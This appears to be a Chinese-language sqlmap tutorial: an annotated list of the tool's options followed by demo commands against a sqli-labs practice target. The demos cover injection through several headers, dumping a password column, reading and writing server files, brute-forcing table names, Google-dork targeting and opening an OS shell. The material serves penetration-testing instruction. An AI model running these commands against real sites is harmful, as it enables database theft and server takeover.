sqlmap简介

sqlmap是一款基于python编写的渗透测试工具，在sql检测和利用方面功能强大，支持多种数据库。

sqlmap常用命令

-h 显示基本帮助信息

-hh 显示高级帮助信息

--version 显示版本号

-v 详细等级（0-6 默认 1）

0：只显示python错误以及重要信息

1：显示信息以及警告

2：显示debug消息

3：显示注入payload

4：显示http请求

5：显示http响应头·

6：显示http响应内容

Target：

-u 指定目标url

-d 直接连接数据库

-l 从burp代理日志的解析目标

-r 从文件中加载http请求

-g 从google dork的结果作为目标url

-c 从INI配置文件中加载选项

Request

-A 指定user-agent头

-H 额外的header

-method= 指定HTTP方法（GET/POST）

--data= 通过POST提交数据

--param-del= 指定参数分隔符

--cookie= 指定cookie的值

--cookie-del= 指定cookie分隔符

--drop-set-cookie 扔掉response中的set-cookie头

--random-agent 使用随机的user-agent头

--host= 设置host头

--referer= 指定referer头

--headers= 额外的headers

--auth-type= http认证类型（Basic，NTLM，Digest）

--auith-cred= http认证凭证（账号：密码）

--ignore-proxy 忽略系统代理（常用于扫描本地文件）

--proxy= 使用代理

--proxy-cred= 代理认证证书（账号：密码）

--delay= 设置延迟时间（两个请求之间）

--timeout= 超时时来连接前等待（默认 30）

--retries= 连接超时时重试次数（默认 3）

--randomize= 随机更改指定的参数的值

--safe-url= 在测试期间经常访问的URL

--safe-post= POST数据发送到安全的URL

--safe-freq= 两次请求之间穿插一个安全的URL

--skip-urlencode 跳过payload数据的URL编码

--chunked 使用HTTP分块传输加密POST请求

--hpp 使用HTTP参数pollution方法（常用于绕过IPS/IDS检测）

--force-ssl 强制使用SSL/HTTPS

--eval=value 请求之前提供Python代码（eg："import hashlib;id2=hashlib.md5(id).hexdigest()"）

Optimization

-o 打开所有优化开关

--predict-output 预测输出（与--threads不兼容）

--keep-alive 建立长久的HTTP(S)连接 (与--proxy不兼容)

--null-connection 空连接

--threads=value 设置线程(默认 1)

Injection

-p 指定测试参数

--skip= 跳过指定参数的测试

--skip-static 跳过测试静态的参数

--dbms= 指定具体DBMS

--os= 指定DBMS操作系统

--invalid-bignum 使用大数字使值无效

--invalid-logical 使用逻辑符使值无效

--invalid-string 使用字符串使值无效

--no-cast 关闭payload铸造机制

--no-escape 关闭字符转义机制（默认自动开启）

--prefix= 加入payload前缀

--suffix= 加入payload后缀

--tamper= 指定使用的脚本

Detectiong

--level= 指定测试的等级（1-5 默认为1）

--risk= 指定测试的风险（0-3 默认为1）

--string= 登录成功时，页面所含有的“关键字” 用于证明已经登录成功

--not-string= 登录成功时，页面所含有的“关键字” 用于证明已经登录失败

--code= 查询为真时，匹配的HTTP代码

--smart 当有大量检测目标时，只选择基于错误的检测结果

--text-only 仅基于文本内容比较网页

--titles 仅基于标题比较网页

Techniques

--technique= 指定sql注入技术（默认BEUSTQ）

--time-sec= 基于时间注入检测相应的延迟时间（默认为5秒）

--union-clos= 进行查询时，指定列的范围

--union-char= 指定暴力破解列数的字符

Fingerprint

-f 查询目标DBMS版本指纹信息

Emuneration

-a 查询所有

-b 查询目标DBMS banner信息

--current-user 查询目标DBMS当前用户

--current-db 查询目标DBMS当前数据库

--is-dba 查询目标DBMS当前用户是否为DBA

--users 枚举目标DBMS所有的用户

--paswords 枚举目标DBMS用户密码哈希值

--privileges 枚举目标DBMS用户的权限

--roles 枚举DBMS用户的角色

--dbs 枚举DBMS所有的数据库

--tables 枚举DBMS数据库中所有的表

--columns 枚举DBMS数据库表中所有的列

--count 检索表的条目的数量

--dump 存储DBMS数据库的表中的条目

--dump-all 存储DBMS所有数据库表中的条目

--D db 指定进行枚举的数据库名称

--T table 指定进行枚举的数据库表名称

--C column 指定进行枚举的数据库列名称

--exclude-sysdbs 枚举表时排除系统数据库

--sql-query 指定查询的sql语句

--sql-shell 提示输入一个交互式sql shell

Brute force

--common-tables 暴力破解表

--common-colomns 暴力破解列

File system access

--file-read 从目标数据库管理文件系统读取文件

--file-write 上传文件到目标数据库管理文件系统

--file-dest 指定写入文件的绝对路径

--os-cmd= 执行操作系统命令

--os-shell 交互式的系统shell

--os-pwn 获取一个OOB shell，Meterpreter或者VNC

--os-smbrelay 一键 获取一个OOB shell，Meterpreter或者VNC

--os-bof 储存过程缓冲区溢出利用

--os-esc 数据库进程用户权限提升

--msf-path= Metasploit Framework本地安装路径

General

-s sqlite会话文件保存位置

-t 记录所有HTTP流量到指定文件中

--batch 测试过程中， 执行所有默认配置

--charset=v 强制用于数据检索的字符编码

--crawl= 从目标URL开始爬取网站

--crawl-exclude= 禁止爬取某个页面（eg：logout）

--csv-del= 指定CSV输出中使用的的字符

--dump-format= 储存数据的方式（CSV(default)，HTML，SQLITE）

--flush-session 刷新当前目标的会话文件

--fresh-queries 忽略会话文件中储存的查询结果，重新查询

--hex 使用DBMS hex函数进行数据检索

--outpout-dir= 自定义输出目录

--save= 保存选项到INI配置文件中

--scope= 使用正则表达式从提供的日志中guo'l

--alert 再找到SQL注入时运行主机操作系统命令

--purge-output 安全的从输出目录中删除所有内容

--sqlmap-shell 提示输入交互式sqlmap shell

--update 更新sqlmap

sqlmap注入技术简介

--technique= （默认全部使用）

B 基于布尔的盲注

T 基于时间的盲注

E 基于报错的注入

U 基于UNION查询注入

S 基于多语句查询注入

sqlmap获取目标方式

1.指定目标url

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"

2.从文件中获取多个url

sqlmap -m 1.txt

3.从文件中加载HTTP请求

sqlmap -r url.txt

4.利用google获取目标

sqlmap -g "inurl:".php?id=1""

5.从burp日志中获取目标

sqlmap -l burp.txt

实例演示-sqlmap注入检测
1.GET参数注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"

2.POST参数注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1" --data="id=1"

3.cookie注入 （level>=2时才会检测cookie）

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 2

如图，用 * 号指定cookie，这样就可以检测cookie。

sqlmap -r"/root/1.txt"

4.user-agent注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3

如图，用 * 号指定user-agent，这样就可以检测user-agent。

sqlmap -r"/root/1.txt"

5.referer注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 3

如图，用 * 号指定referer，这样就可以检测referer。

sqlmap -r"/root/1.txt"

6.host注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --level 5

如图，用 * 号指定host，这样就可以检测host。

sqlmap -r"/root/1.txt"

实例演示-获取数据库信息

1.查看数据库

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs --batch

2.查看数据库里面的表

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --tables --batch

3.查看数据库表里面的列

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users --columns   --batch

4.查看数据库列里面的具体的值

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users -C password   --dump --batch

实例演示-暴力破解
使用条件：

1.MySQL数据库版本小于5.0，没有information——schema表。

2.Microssoft Access数据库。

3.当前用户没有权限读取系统中保存的数据。

*暴力破解中破解表名的文件位于common-tables.txt 中，同理破解列名的文件位于common-columns.txt 中

1.暴力破解表名

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security --common-tables --batch

2.暴力破解列名

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security -Tusers --common-columns --batch

实例演示-读取文件/上传文件
1.读取文件

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"   --file-read "C:/post.txt"

2写入文件

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"   --file-write "/root/1.txt"

 --file-dest "C:/phpstudy/PHPTutorial/www/1.txt"

实例演示-获取shell
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --os-shell